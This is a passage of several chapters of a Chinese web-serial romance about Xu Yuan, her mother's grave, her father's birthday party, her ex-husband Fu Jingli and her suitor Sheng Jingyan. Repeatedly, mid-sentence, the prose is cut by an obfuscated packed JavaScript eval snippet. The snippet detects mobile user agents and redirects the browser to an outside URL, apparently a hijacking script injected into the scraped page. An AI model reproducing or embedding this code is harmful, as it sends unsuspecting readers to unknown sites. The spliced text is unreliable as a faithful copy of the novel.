这次来参加许镇江生日宴的人不少,但真正上流圈层的没几个,也只有傅京礼看在许宁的面子上来参加。 许镇江早早就放话说傅京礼要来他的生日宴,因此客人不少,多是跟他寒暄捧着他的。 生日宴从中午就开始举办。 许宁兴高采烈的换好一早准备好的银色礼裙,整个人灵动漂亮,她对着镜子照了又照,怎么看都挑不出错,这才打开门。 “阿礼,你看我这样漂不漂亮!” 傅京礼在门外低头看着资料,听到她的呼唤,抬眸看了一眼。 是漂亮的。 银色的针织礼服,面料柔和奢华,完美的贴在她的肌肤上,走动间都闪烁着银色的光辉,若是在黑夜中许是会像深夜中闪烁光芒的星星,让人一眼看去就有些移不开眼。 傅京礼目光落在她含笑的那张脸上,隐隐约约的好似看到另一张明艳面容,也是如此娇俏灵动的模样。 傅京礼心下微沉,压下脑内闪现的影像,方才对她轻微点头。 见他点头了,许宁这才提着裙摆,乐颠颠的去找许镇江。 从头到尾,都没有人提及许愿。 父女二人好像全然忘记了许愿的存在。 什么希望她能回来参加生日宴会的话,仿佛都成了笑话。 傅京礼眸光愈发沉冷,他取出手机,打给许愿,对面却是一阵忙音。 男人点开微信,发去一句话:在哪? 收到信息的许愿却并没有第一时间点开手机。 她怀中捧着一束母亲生前最喜欢的红玫瑰,放到了母亲的墓碑前。 她知道在墓前放玫瑰并不好,但是她的母亲喜欢,她生前还在人世时活得那般朝气蓬勃,像是冬日初升的太阳。 不过今天的天气并不算好,已经近晌午,天色仍然阴沉着,雾蒙蒙的,像是快要下雨。 薄雾如同一层轻纱,笼罩着寂静的墓园,给这里平添了几分凄清与荒凉。 她环顾四周,内心都有些不受控制的沉痛感。 枯黄的落叶在微风中飘散,添几分萧瑟之感。 墓碑林立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617992|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有的已经斑驳陆离,字迹模糊,青苔爬满了石缝。 许愿望着眼前的一幕内心却隐隐疼痛,心中充满了难以言喻的悲凉与沉痛。 今天是母亲的祭日,一个对她而言意义重大的日子,也是一个让她心如刀割的日子。 苏青莲离世前的笑容,温柔的话语,此刻在她的脑海中反复回荡。 每一次回忆,都像是锋利的刀刃,在她心中划开一道道伤痕。 许愿跪下,轻轻拂去碑上的尘土,那上面刻着的母亲的名字,此刻显得格外醒目,也格外刺痛她的心。 泪水无声地滑落,滴落在冰冷的石碑上,迅速消失不见,就像内心深处那些无法言说的情感,深埋在了心底最柔软的地方。 在这一刻,所有的言语都显得苍白无力,唯有这份深沉的哀思,如同墓园中的老树根,深深扎入了许愿的心田。 站起身,凝视着母亲的墓碑,然后转身离开,背影在雾气中渐渐模糊。 她点开手机,看到傅京礼发来的信息。 许愿笑了,笑着笑着眼眶愈发红了。 他根本什么都不知道,甚至还在问自己在什么地方,是觉得她要迟到了吗。 她怎么可 能不迟到呢,如果可以,她甚至都不想去参加。 真可笑啊。 许镇江在接受那些虚伪资本的祝福时,她的母亲只能躺在冰冷的地面下,无法感受到阳光。 许愿靠在车上,拭去眼角的泪水,眼睛发红带着浓烈的恨意。 “我就说,你最近几天怎么都郁郁寡欢的。” 盛景炎站在阴凉处,手中拎着一捧热烈鲜艳的花束,他走到许愿面前:“希望我没有来晚。” 许愿怔住,偏头看向他时都有些发愣。 “你怎么会来。” “你这话都问过很多次了。” 盛景炎俯身,那双狭长的眼眸带着笑开口:“都说了我在追求你了,这下,你总该相信了。” 第39章 未来婆婆 盛景炎俯身,居高临下的看着她。 手伸到她肩上,似乎是想安抚。 许愿侧身躲过,她眼睛发红,但此刻却全然不落下风,清冷的眸不带多少感情。 “你跟踪我。” “跟踪?” 盛景炎笑了,眼尾微微上挑,带着明显的戏谑之意。 “我不觉得这是跟踪,如果你生气的话,那我只能说……我们有缘了。” 盛景炎抬手指了个方向。 “今天,也是我母亲的忌日。” 许愿有些不敢相信。 盛景炎眼底一直都是带笑的,只是少了那种吊儿郎当的玩世不恭,更多的是温和。 “所以我才说我们有缘,我们的母亲也有缘。” 盛景炎的眼睛并不是纯粹的黑色,像是浅浅的琥珀色。 其实看人的时候,他总是带着点漫不经心的,总让人觉得像是开玩笑。 “我们啊,才是天造地设的一对儿。” 盛景炎逼近她,隐隐带着些许压迫感。 “你看,我们都是嫡系血脉,我上面有个被刻意养废的哥哥,你下面有个把柄弟弟,盛家有个备受宠爱的私生子盛三,而许家同样也有个被疼爱的私生子许宁。” “我们的命运如此相同。” 他压低声音,蛊惑般开口。 “我们才是同类。” 真正调查过许愿,他才明白为什么看到她第一眼就有着种莫名的好感。 因为他们从一开始,就是一类人。 不同的其他人装作吊儿郎当的模样放松旁人警惕,直到身边的人被麻痹,才露出尖利的爪牙,而后一击毙命。 许愿却不会做出那副放浪形骸的姿态,她一直都是积极向上的,在旁人眼中像是完美无缺的人。 但事实上,许愿的内里全都是缺口。 她早就已经濒临崩溃边缘,像是一头生活在暗处拼尽全力活下来的猛兽。 是的,猛兽。 傅京礼将许愿看作是攻击力很强的猫。 可在盛景炎看来,她是野兽。 或许到达临界点,她会生扑上去撕裂人的喉咙。 “如果当初我们的母亲是好友的话,那我们可就算是青梅竹马了,说不定会早早把你交到我手中。那样的话,我们做的很多选择或许会不一样。” 如果真的是这样,那或许是美梦。 盛景炎这样想。 他母亲在他很小时就去世了,大哥断了腿早就没有争权夺位的心思,一早就被养废了。 他摸爬滚打的在这圈子跌跌撞撞长大,身边几乎没有可以信任的人。 如果那时有个许愿,或许可以相互扶持长大,会成为他一生珍爱。 “你觉得这会是好事吗?” 许愿揉了下发红酸胀的眼眸。 “互为把柄,那时的我们也都有更重要的人,我在乎弟弟你在乎哥哥,不会成为彼此最重要的人。” 盛景炎不置可否,并不反驳她。 但他心里清楚,如果真的能一起长大,他可以护着她的。 “跟我来。” 盛景炎一把握住许愿的手,许愿被拉得有些猝不及防,直至被男人拉拽到一块墓碑前。 那块墓碑很干净,像是有人日日擦拭。 周围摆满了水果点心,甚至还有女性爱吃的甜食。 墓碑上的女性相貌明媚大气,一双眼睛黑亮宛若黑夜中的星辰。 她唇角含笑,眉眼弯弯的,像是透过遥远时空与他们对话。 “来见一见你未来婆婆?” 盛景炎嬉笑开口。 许愿瞳眸都睁大了。 “你是不是有病!” 许愿转身就要走,但离开前还是瞪了他一眼,将他带来的一束花朵放下,这才鞠了个躬匆匆离去。 盛景炎见她落荒而逃,脸上的笑意不减。 他跪在冰冷的地面上,此刻阴沉的天色似乎透出几分光亮。 “赵女士,我带了个你可能会很喜欢的女性朋友来见你。” “我在追求她。” “你在我幼年时曾说过想活得潇洒肆意,她就是这样,纵然被人拿捏却也还是活出自己,我想你会很欣赏她的。” “赵女士,如果你在看着我,那就跟苏青莲女士提一句,我很喜欢她的女儿,希望以后可以一直照顾她,也希望苏青莲女士给我这个机会。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617993|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他像是半开玩笑似的说出这句话。 此刻的风大了起来,有点像是狂风大作,吹乱了他摆在墓碑前的点心。 “喂喂喂,苏青莲女士,你不要生气,我真的只是在追求她,可不会做什么越界的事。” 盛景炎笑眯眯的,狭长的眼睛里都是温和。 “如果她跟我在一起,我可以让她不被拘束,想闹就闹想笑就笑,不是很好吗?” 他真的喜欢许愿吗? 不,他并不喜欢许愿。 他只是觉得许愿很合适跟他在一起。 那种感觉,就真的很像看到同类惺惺相惜的感觉。 不过男性本色,她长得实在漂亮,有色心那是他自己也拦不住的。 他追求许愿,一 是觉得她有趣,二是觉得两人经历相同。 三是……她真的长得很漂亮。 他想的是,如果他们在一起,他们一定会互相尊重。 纵然做不到情深似海,却也能相敬如宾,这已经是很好的结局了。 “赵女士,你记得要跟苏女士说,我真的是一个可以托付的对象。” 狂风早已停下,有一股微弱的风抚过他的面颊。 盛景炎顿了下,唇角笑意愈深。 他站起身拍了拍裤子上的土,方才潇洒转身离开。 前脚踏出墓园,就已经看到候在外面的许愿。 此刻阴沉的天色都已经透出层层的光亮,她站在一棵老槐树下。 有风吹过细碎微弱的斑驳光碎星星点点的洒落在她的脸上,衬得她整个人温柔平和。 盛景炎脸上的笑意根本止都止不住。 “怎么没走?在等我?” 许愿瞪他一眼,方才那种温和的假象都被她此刻生动的模样破坏了,不过多了几分灵动可爱。 “我就当你是在等我了。” 许愿瞥他一眼就要走,盛景炎一把抓住她的手腕。 “哎哎哎,我没看到你开车,我载你回去。” 他指了指天:“赵女士和苏女士可都住在这里,她们看着呢。我总要绅士点,不然他们今晚要来找我了。” 盛景炎说得振振有词。 第40章 送临期保健品 没等盛景炎继续碎碎念,许愿已经上了车。 盛景炎就是盛景炎,挑的车颜色都很骚气。 粉色的跑车,就是许愿都没挑过这么粉嫩的颜色。 不过这车是盛景炎挑选的,意外的适合他。 “我刚才跟赵女士说我很喜欢你,要追求你了,我这也算是过了长辈的明路。” 盛景炎笑眯眯的来了一句。 许愿看都不想看他,只想骂一句神经。 “今天是你父亲的生日,我也去参加怎么样?” 盛景炎倏然开口询问。 “盛世集团新上任的总裁,不会给你丢脸的。” 盛家或许现在还比不上傅家,但是也差不了多少,他自认自己绝不输傅京礼。 别的不说,起码鉴别女性这方面,他是觉得自己可以赢过傅京礼的。 正巧是红灯,盛景炎遵纪守法的将车停在路边,笑道:“看看我们的衣服,我这一身黑,你那一身白,刚好适合去给许镇江祝寿,黑白无常似的,挺膈应人。” 让人看着,就觉得堵心的程度。 许愿扫了他一眼,并未拒绝,显然也是同意了盛景炎的提议。 “他过生日,我是不是要买点礼物?” 他又问。 许愿被他烦得有些头痛,揉了下眉心开口:“盛景炎,你到底是几辈子没有说过话了。” “你到底是怎么有那么多话可以说的,你身边的人就没有嫌你烦吗?” 盛景炎做出一副无辜姿态。 “我也只是跟你,才有这么多的话。” 这他没说谎。 从前,他装出一副样子模样,很少与人贪心说话。 在盛家就更不必提他,跟被养废了的大哥没共同语言没什么可聊的。 至于跟盛三个私生子,不打起来都是好的,更无话可聊了。 现在好不容易看到个适合自己的,自己也喜欢的,当然孔雀开屏一样展示自己。 许愿听了这话都懒得理他,目光落在窗外。 看着窗外的景色,才发觉车子停到了百货商场。 “?” 又要做什么? 许愿看他,眼底隐隐带了几分疑惑。 “许镇江再渣,在外也是你的父亲,不送礼物怎么说得过去?小心那些人背后蛐蛐你。” 许愿都被他这话气笑了。 盛景炎很有前辈风范的开口:“我那渣爹生日的时候,我每年都会送礼物的,不过大多数都是临期产品,我在这边都有卡的。这种临期的还有几个星期就过期的保健品,商场都不收我钱,一分钱不花还能买个好名声。” “这种东西他真看到了,也不能说什么。真要出去宣扬,旁人少不了闲言碎语。” “反正最后闹心堵心的,都是这过生日的人。” 盛景炎想得还挺周到,也不知道他拿着这方法气过盛父多少次了。 盛景炎带着许愿走到保健品的区域,还凑到她耳边小声说:“我还送过盛三那个蠢货一堆珠宝首饰,全都是赝品,那蠢东西到现在还以为是真的。” 许愿不理解,但她大为震撼。 但是想明白后,她不禁想给这人点赞。 简直就是人才! 商场当然是没怎么逛的,最后在盛景炎的帮助下,许愿成功的选了几份临期保健品,还都是只有一周就过期的,没人要的东西。 许愿没花钱,就免费拿到了这些东西。 盛景炎也不知道溜达到什么地方揪出了两朵小花,一黑一白。 许愿穿白裙就戴黑花,他穿黑衣就戴白花。 穿成这样,许愿甚至因为在墓地哭过,眼睛都还有些发红,这一看就不是去祝寿的。 盛景炎倒是对她这装扮很满意。 开车到许家别墅,盛景炎都有些愣了。 许家的说是别墅,倒不如说是现代园林,不知道的还真以为许家多有钱了。 “你家……看着挺有钱啊,这块地域在这地方可是很值钱的,许镇江舍得买这块地来盖别墅?” 这块地皮所在区域市价很高,许家又不算是什么真正的豪门世家,许镇江怎么舍得? 许愿顿了下开口。 “我母亲苏青莲女士所在的苏家,当时有很多块地皮,这里就是我母亲的。” 甚至,苏家后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617994|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都成了许镇江的产业。 而“苏”也被这贪婪的男人,改成了“许”。 “你不说我倒忘记了,当年苏家才算是真正的豪门世家,虽然那时的苏家是旁支,但在a市也算是排得上号的。” 只是没想到,只过了这些年就被许镇江那样的废物,挥霍成了现如今的模样。 “如果我们有孩子,一定养成你这样或者我这样的,精明点,不要随随便便就被那人哄走。” 都到这时候了,盛景炎还不忘占她便宜,惹得许愿又瞪他一眼。 许家真正的嫡系小姐归家却没有人来迎接,许愿也不在意。 倒是盛景炎觉得这样衬不起他盛家继承人的身份。 硬是拽着许愿不让她进门,特地打电话雇了一群黑衣保镖。 “这才有格调。” 盛景炎很得意。 许愿觉得头更疼了,更想让他闭嘴了。 这时手机响了,许愿接过扫了眼,看到的是傅京礼的名字,是傅京礼的来电。 她眸光微微闪烁,但还是接听了电话。 他在生日宴现场,周围有些嘈杂。 男人声音冷淡。 “在哪。” “门外。” 许愿冷静的回应,此刻仿佛已经什么都不在乎了。 男人那边很明显顿了下,片刻后嗯了一声,相顾无言。 盛景炎倚靠在车门边探过头来,突然这么一张放大的脸凑过来,饶是傅京礼也皱起眉。 他是没想到这种时候,许愿还跟盛景炎在一起。 “傅总着急了?” “其实没必要着急,许经理跟我一起去跟许先生挑生日礼物了,毕竟许先生是我未来的岳父,我这个未来女婿上门怎么也要好好挑选礼物,总不能失了礼数,傅总说是不是?” 他像是故意似的提到这些,挑衅的心思显而易见。 许愿却不拦她,也不打断他的话。 电话被挂断了。 盛景炎笑得更得意了。 “他这是没办法接受自己的女人跟别的男人在一起啊。” 典型的大男子主义,占有欲强啊。 第41章 般配 “不开玩笑了,进去吧。” 盛景炎向许愿伸出手。 许愿垂眸瞥了眼,这次终于没再拒绝盛景炎的请求。 她跟傅京礼离婚了,现在确实需要一个新的明面上的靠山。 盛景炎这人虽然嘴上没把门,爱开玩笑,但还算是个有底线的绅士,且盛家的确有不输给傅家的资本力量。 有盛景炎,许镇江就该明白现在她,一样不是好惹的。 哪怕没了傅京礼,她还能有别人。 在她真正强大起来前,她是绝对不能让许镇江生出什么别的心思的。 许镇江的生日宴会布置得很热闹。 众人正三三两两的嬉笑玩乐,还有人在许镇江面前恭维他,也有心思重的跟在傅京礼身边,想要求个合作的机会。 倏地,大门被打开了。 其实开门的声音并不算大,但开路的保镖实在太多,大概有二十个,就这么齐刷刷的进了宴会厅,站成一排为他们开路。 领导人的排场都没他们大! 众人纷纷好奇的望过去,只见许愿挽着盛景炎的手腕,缓缓进入了会场。 她是真的漂亮,五官精致白皙,眉眼中明显带着那种清润的灵动感。 眸光似水,抬眼看人时都带着几分潋滟之意。 她穿着一身十分朴素的白色长裙,上面几乎没有任何点缀,只是件贴身的朴素白裙,却衬得整个人弱柳扶风,惹人怜爱。 唯有胸口那一朵点缀的黑色花朵,让她整个人显得鲜活起来。 此前他们也都是见过许宁的,可现今许愿一出现,他们才知道其中的差距。 许愿一举一动之间都是温婉淡雅的,是那种不经意间就能感受到不同气场的女性。 而许宁,看着就像是一朵需要娇养的花朵,这一经对比,高下立见。 众人目光不由得落在许愿身旁的男人上。 男人身形高大,面容俊美,一双桃花眼狭长,是一双一直都带着笑的含情眼,此刻看向她时却都藏着绵绵情意。 一看,这两人就是一对。 真的是很般配。 这些人接触的圈层不同,还不配接触到傅京礼所在的圈层,所以根本不知道许愿和傅京礼曾经是夫妻关系,甚至也没见过盛景炎。 现在看到许愿带着个气质不凡的男人回来,也都暗暗心惊,已经在偷偷打探盛景炎是谁了。 有人聪明的去百度,若是旁的人,百度或许查不出什么,可偏偏现在这人是曾经经常在娱乐八卦头条的盛景炎。 这一搜,图片立刻出来了。 “是前阵子才继承了盛家的那位盛二少!” “盛景炎,是盛景炎吗?!” “我天,许镇江真是好运啊,大女儿的爱人是盛景炎,小女儿的爱人是傅京礼,许家这是要飞升吗!” 换作是谁都会吃惊。 一个盛家一个傅家,许家这是真有后台了。 盛景炎很享受众人关注的目光,他弯腰在许愿耳边低喃:“看看,你带我来果然是对的,我可是特地为你撑场子的。” “想必过了今天,圈内都要传你我是一对儿了。” 许愿听他语气都透着点得意,忍不住伸出手,在旁人看不到的地方掐了他一把。 盛景炎也不觉得疼,反倒是笑眯眯的带着许愿正式进场。 知道了盛景炎的身份,众人纷纷寒暄。 而盛景炎将礼物随手交给许家的管家后,这才一步一步的带着许愿走到傅京礼面前,脸上带着明显的笑意。 “傅总,又见面了。” 傅京礼眸光淡淡的扫过许愿,许愿眼神冷淡的对上他的视线,手却抱紧盛景炎的手臂。 盛景炎笑道:“阿愿,你紧张什么?你都跟在傅总身边工作三年了,总不会现在见了傅总还要害怕,不过也是,不是谁都像我这样平易近人的。” 这话倒像是嘲讽傅京礼了。 可男人的注意力并未放在此处,只听到他唤许愿“阿愿”。 阿愿。 这名字……他都没有叫过。 傅京礼眸光沉冷。 “看来两位感情很好。”傅京礼沉声开口。 “的确很好,我们都是见过家长的关系了。” 盛景炎笑眯眯的回应,是不让一句话落到地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617995|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。 傅京礼只觉可笑。 不过在盛景炎眼里,他们确实是已经见过家长了,还是见过彼此最重要的家长。 许愿在一旁稳稳站着,即便男人眸光冷淡的看过来她也不觉得慌张,脸上一直带着淡淡的笑意。 “阿愿,带我去你以前的房间看看怎么样?” 盛景炎像是故意似的开口询问。 许愿也不愿在这里多待,自然应下。 两人相携去了二楼,男人看着两人离去的背影,眸光愈发冷了。 随意打发了凑上来恭维讨好的一群人,也去了二楼。 许愿住的房间并不大,里面的东西也不算多。 或许是有段时间没有回盛家了,房间里积满了灰尘,走进去就想咳嗽。 许愿轻咳了几声,眉头不受控制的皱起。 “ 你们许家的保姆,有那么点狗仗人势的意思了。” 盛景炎冷笑:“嫡系小姐的房间都不来打扫!” 他说这些,显然是真的有些动怒。 许愿却好似不在意的笑了笑:“我都不在乎,你倒是在乎这些。” 她关上自己房间的门,轻飘飘看了眼身旁的男人:“我还没问,谁准你叫我‘阿愿’了。” 她是带着笑意的,看着也不像生气的模样。 盛景炎挑眉:“如果你觉得吃亏,也可以叫我景炎,或者阿炎,怎么样?” “想得美。” 许愿推开男人就要下楼,转身的瞬间,看到从另一间房出来的许宁。 这一眼看过去,许愿的脚步彻底停在原地。 她的身体都在发抖,眼眶发红,看着距离自己并不远的许宁,死死的盯着她身上那件银色的礼服裙。 盛景炎还未有反应,许愿就已经激动到没有任何理智的冲过去抓住许宁的头发。 她将人狠狠拽到就近的房间内,压抑着低声发狠道:“把衣服脱下来!你不配穿这件衣服!” 这件衣服,是她母亲曾经亲手设计做出的礼服,是母亲曾经穿过的。 许宁这个小三生的私生女……怎么敢玷污这件衣服?! 第42章 脱下来 许愿现在根本无法冷静。 那时她虽然年幼,但仍记得那时的苏青莲温婉漂亮,那张脸都是明艳精致的。 母亲是极爱美的,就是死之前还特地做了这样一件礼服,只为了能风光离开。 这是母亲最后亲手做的遗物。 不是许宁这种只配活在阴沟里的臭虫能沾惹的! “脱下来。” 许愿掐住她的脖子,几乎用了力气。 “脱下来!” 她咬着牙,几乎是一字一顿。 她的眼眶整个都红透,透着层层薄雾。 她充满恨意的望着眼前的女人:“你就是再蠢,也知道这件衣服代表什么。” “其他的事我不想跟你计较,许镇江的父爱,傅京礼的宠爱,哪怕是傅太太的身份我可以全都不要!但是……但是这件衣服你必须脱下来!” 眼前已经一片模糊,她朦朦胧胧的仿佛看到苏青莲在向她招手。 “阿愿,妈妈是不是很没用。” “我就是很没用啊。” 苏青莲那张漂亮的脸上都是带笑的,只是眼底带着泪意。 “苏家我守不住,男人我守不住,孩子我守不住,什么都守不住……” “阿愿,别像我一样……别像我一样……” 许愿身体又在颤抖,她咬着下唇。 “许宁,傅京礼我已经让给你了不是吗?” 许愿声音带着颤音:“脱下来,把衣服脱下来。” 把衣服完好无缺的还给她。 那是她给苏青莲最后的寄托了。 许宁却是一副惊慌失措的模样,她瑟瑟发抖,呜咽的摇头:“姐姐,你做什么……我就是穿了件衣服,你为什么要这么对我……” 话落,许宁不知哪里来的力气,一把推开许愿翻滚开。 裙子擦过床脚的棱角,发出“刺啦”的声音,礼服破掉了个大口子,整个后背都裸露出来,露出白皙的肌肤。 “许宁!” 许愿恨得几乎咬牙,正欲冲过去,却被一股大力猛的推到墙上。 她的头磕在墙角,鲜血顺着额角落下,身体跌跌撞撞的栽到地上。 小腹处传来尖锐的疼痛。 她下意识的捂住自己的小腹,抬头朝男人看去,那双一直都是清冷中透着温婉的黑眸带着猩红的恨意。 “许愿,闹够了没有?” 傅京礼脱下西装外套,搭在许宁肩上替她遮住后背裸露的肌肤。 他眼神幽暗,语气冰冷甚至透着几分厌恶。 闹够了没有。 “你觉得我在闹吗。” 许愿坐在地上,她突然就笑了,笑得温和,笑得充满柔意,眼睛发红的望着他。 “傅京礼,我嫁给你这三年时间,我真的闹过吗?” “我嫁给你之后,一直都扮演着温婉优雅的傅太太。在公司,我更是你雷厉风行为你处理工作的许秘书。” “哪怕是两年前你陪赵小姐,林小姐和更多的千金吃饭用餐逛街……我都知道,可我什么时候闹过?” “傅京礼。” 她眼睛弯弯的,内心却已经被疯狂涌动的悲伤彻底的完全的淹没。 “在你眼中,所有跟许宁有关的事她都是无辜的,而我就是在无理取闹是吗?” 傅京礼从不爱她。 他的那件外套可以在她出丑的时候借给她为她解难,可……那件外套却可以随时为许宁备好,他可以为许宁解决所有难题。 傅京礼,傅京礼,傅京礼。 她内心默念着他的名字。 你究竟要我多寒心呢。 许愿垂下头,轻笑着,眼泪却不受控制的一滴滴落下,“啪嗒”的落在寂静无声的房间内。 倏地,她目光凝住。 看到不远处碎裂的相框。 许愿怔住,她已经失了优雅失了风度,再不像那个被人称赞的千金。 她几乎是爬过去,长指触碰到那已经碎裂的玻璃相片。 她记得很清楚,这是母亲离开前最后一次带着她拍的一张照片。 那时的母亲对她说:“阿愿,要活得开心,快乐啊。” “永远,永远都不要为任何人委屈自己,妈妈在天上看着你呢。” 开心,快乐? 不要为任何人委屈自己? 怎么做得到吗? 从让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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第43章 拿回我的东西 许愿站起身,捂着自己的小腹,缓步走向许宁。 她的手还在不停向下滴落鲜血。 “滴答滴答”凝落在地面之上,积起一片血泊。 “现在,把衣服脱下来。” 她抬手拭去脸上的泪水,鲜血却沾到脸上,让她一整张脸看着都有些邪气。 可她分明脸色苍白,只是个没有任何气力的女人,偏偏就是给人这样的错觉。 她低头看着眼前的许宁,再度开口。 “把衣服脱下来。” 许宁仓惶的想要往外跑,许愿垂眸,用没有受伤的手拽住她的手腕。 “不是你的东西,永远都不要肖想!” 许愿冷笑:“要抢,就去抢你的傅京礼!” 傅京礼就站在她身侧,男人的身体似乎僵了一瞬。 他的目光落在许愿脸上,看到明显的薄凉表情,似乎她是真的对他没有任何感情了。 好像在这一刻,三年的感情许愿真的说放下就放下了。 “许愿。” 男人声音带着几分哑意,但刚一开口,就被许愿打断。 她目光对上男人幽深的目光,唇角掀起笑意。 “怎么?又要说我在闹吗。” “你觉得我是在闹吗?” 许愿的脸上沾染着干涸的血渍,整个人脸上带着笑,像是带着几分妖艳之意。 她望着面前的男人缓缓开口:“今天的事情本来不必发生的,是你一定要我在今天来参加许镇江的生日宴会。” “如果不是你,我根本不会回来,一切的开始都是你的错!” 男人眸光幽深的看着她,脸色愈发冷了。 “小孩子都知道被抢了东西要抢回来的,我被抢了那么多东西,我有去抢回来什么吗?” 许愿冷静的看着他,一字一顿。 “我被抢走父亲,被抢走工作,被抢走丈夫,你看我有发疯想要抢回来吗?” “因为我知道,这些东西从来都不是真正属于我的。父亲不是父亲,丈夫不是丈夫,工作的职位,更是我的前夫可以随心所欲将我换掉的,这一切都不是我的。” “可是她身上的礼服是我的。”她盯着他,“这是我的……” “遗产”这两字到嘴边,却无法开口。 “这是我的资产,是完全属于我的东西,许宁没有资格碰,更没有资格损坏。” 许愿那双清冷的眼眸散发着冷意。 “我拿回属于我的东西,有错吗。” 被抢东西的是她,她有错吗? “姐姐,那些……那些我没有要抢……”许宁委屈的不停的哭:“我从来没有要跟你争什么抢什么……” “对,你不争不抢,你人淡如菊,全天下的人都爱你。” 许愿唇角含笑,声音却是冷的。 “所以,可以把衣服脱下来还给我了吗?” 许宁被这话堵回去了,那段话自己都觉得恶心至极。 她眼底含着泪意,可怜兮兮的看向傅京礼。 她们两人站在一起,许愿此刻钳制住她的手臂,死死的紧握,旁人看着只当她才是凶神恶煞要逼迫许宁一般。 傅京礼眸光微闪,声音中带着明显的冷淡。 “许宁,把衣服脱下来。” 许宁整个人此刻都像是目光彻底呆滞了,她不敢相信的向男人看去。 男人语气平淡的重复:“把衣服脱下来,还给许愿。” 话落,傅京礼淡淡瞥了盛景炎一眼。 “戏看够了,可以出去了。” 许宁要换衣服,他们自然不能多待。 盛景炎的笑意早就收起,他的目光一直落在许愿的脸上。 此刻听到傅京礼的声音,他也只是刻意的扯了下唇角,又恢复那副闲散的姿态。 “许愿,有事喊我。” “我虽然现在还不属于你,但未来是一定会属于你的,我不介意你提前指挥使用你的所属品。” 话落,他已经离开房间。 傅京礼相继离开,房门被关上。 这间房间就在二楼拐角的地方,此刻倚靠在墙边就能一眼望到楼下的浮华。 盛景炎看到那些不是大家族却还要强装富人在宴会厅大腹便便的穿行,有的在恭维许镇江,有的在讨好许镇江,仿佛他今日的生日宴就是为此举办的。 透过今日,他恍惚间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617997|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到数年前的许愿曾经遭遇过什么。 母亲倒在血泊中,而罪恶的母亲却在举办一场盛大的宴会。 一个宛如在天堂,一个却永远入了地狱。 可偏偏该入地狱的人身处天堂,该下地狱的人却活在天堂之中,享受着众人的赞美追捧。 多可怜,多可笑。 盛景炎点了根烟,呼出口气。 淡淡的朦胧的厌恶缓缓笼罩在他周身,他那双狭长的眼眸都不带什么光彩,只是微微抬眸,目光缓慢落在傅京礼脸上。 “你是真的放弃她了吗?” 盛景炎在问有关许愿的事。 傅京礼眸色幽深,声音中透着明显的冷意:“与你无关。” “怎么会无关。”盛景炎开口,“你做的所有事都在告 诉我,你已经放弃她。” “谢谢你给了我真正追求她的机会。” “真正”追求她的机会? 傅京礼皱眉,只觉自己好像忽略了什么,便没再去理会盛景炎,盛景炎失笑,只是那笑却不知是对谁的。 房间内,只剩下许宁和许愿两人。 许宁终于卸下了那层伪装。 房间内开着灯的,灯光打在她的身上,一半面容隐在黑暗中一半面容却藏在灯光下。 她脸上隐隐的透出几分笑意,像是得意,像是嘲讽。 像是恶魔。 “姐姐,为什么要这么生气呢?” 